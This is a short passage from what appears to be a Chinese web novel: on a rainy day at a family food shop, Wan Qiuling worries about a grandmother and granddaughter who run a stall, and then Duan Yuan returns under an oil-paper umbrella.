杜氏看万秋灵皱着眉头，心疼道：“灵儿，今天下雨也没什么事，你要不去打听打听？也安个心，铺子就交给我们。” 她指了指万老爹：“让你爹来油炸，兰儿帮着切猪排、撒料那些，我做饼子。雨天不忙，应付得过来。” 万老爹坐在高凳子上也是能做饭的，只是动作慢些，他对这个安排没什么异议。 万秋灵却摇了摇头，道：“我也不知道该去哪儿打听。” 其实她更担心的是，打听到了又能怎样？ 她和那祖孙俩，说到底也只是几面之缘，连名字都不知道。只是觉得靠奶奶和孙女支撑的摊子不容易，让她想起自己带着妹妹最初奋斗的样子。 可这世上，不容易的人多了去了，她能帮得过来吗？万秋灵一手托起下巴，想得有些出神。 “打听什么？我能帮上忙吗？” 一道清润的男声打破了铺子里的沉闷。 万秋灵微微睁大了眼睛，转过身。 雨幕里，一个高大的身影撑着油纸伞，正朝铺子这边走。伞面遮住了大半张脸，只能瞧见身穿锦衣的挺拔身形，和嘴角向上扬起的薄唇。 伞收了，露出一张熟悉的俊脸。 段渊站在门檐下，抖去伞上残留的雨珠，朝她笑了笑。 “我回来了。”